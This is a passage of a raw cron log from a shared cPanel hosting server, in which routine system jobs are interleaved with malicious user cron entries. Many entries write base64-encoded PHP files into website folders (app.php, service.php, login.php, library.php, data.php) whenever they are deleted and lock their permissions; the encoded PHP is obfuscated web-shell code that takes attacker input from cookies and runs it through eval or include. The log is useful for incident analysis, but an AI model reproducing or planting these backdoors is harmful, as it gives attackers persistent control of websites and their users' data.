2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:48:01 medusa CROND[1964]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:48:01 medusa CROND[1966]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:48:01 medusa CROND[1970]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:49:01 medusa CROND[17195]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:49:01 medusa CROND[17196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:49:01 medusa CROND[17197]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:49:01 medusa CROND[17201]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:49:01 medusa CROND[17198]: (root) CMD (   /usr/local/cpanel/bin/autossl_check --all)
Mar  2 06:49:01 medusa CROND[17202]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:49:01 medusa CROND[17203]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:49:01 medusa CROND[17204]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:49:01 medusa CROND[17205]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:49:01 medusa CROND[17206]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:49:01 medusa CROND[17207]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:49:01 medusa CROND[17213]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:49:01 medusa CROND[17226]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 06:50:01 medusa CROND[32072]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 06:50:01 medusa CROND[32082]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 06:50:01 medusa CROND[32088]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 06:50:01 medusa CROND[32100]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 06:50:01 medusa CROND[32125]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 06:50:01 medusa CROND[32197]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:50:01 medusa CROND[32371]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 06:50:01 medusa CROND[32372]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 06:50:01 medusa CROND[32373]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 06:50:01 medusa CROND[32377]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 06:50:01 medusa CROND[32376]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 06:50:01 medusa CROND[32384]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:50:01 medusa CROND[32385]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:50:01 medusa CROND[32383]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 06:50:01 medusa CROND[32395]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 06:50:01 medusa CROND[32397]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:50:01 medusa CROND[32400]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:50:01 medusa CROND[32404]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:50:01 medusa CROND[32403]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:50:01 medusa CROND[32399]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 06:50:01 medusa CROND[32406]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:50:01 medusa CROND[32405]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 06:50:01 medusa CROND[32391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:50:01 medusa CROND[32432]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:50:01 medusa CROND[32433]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 06:50:01 medusa CROND[32434]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo 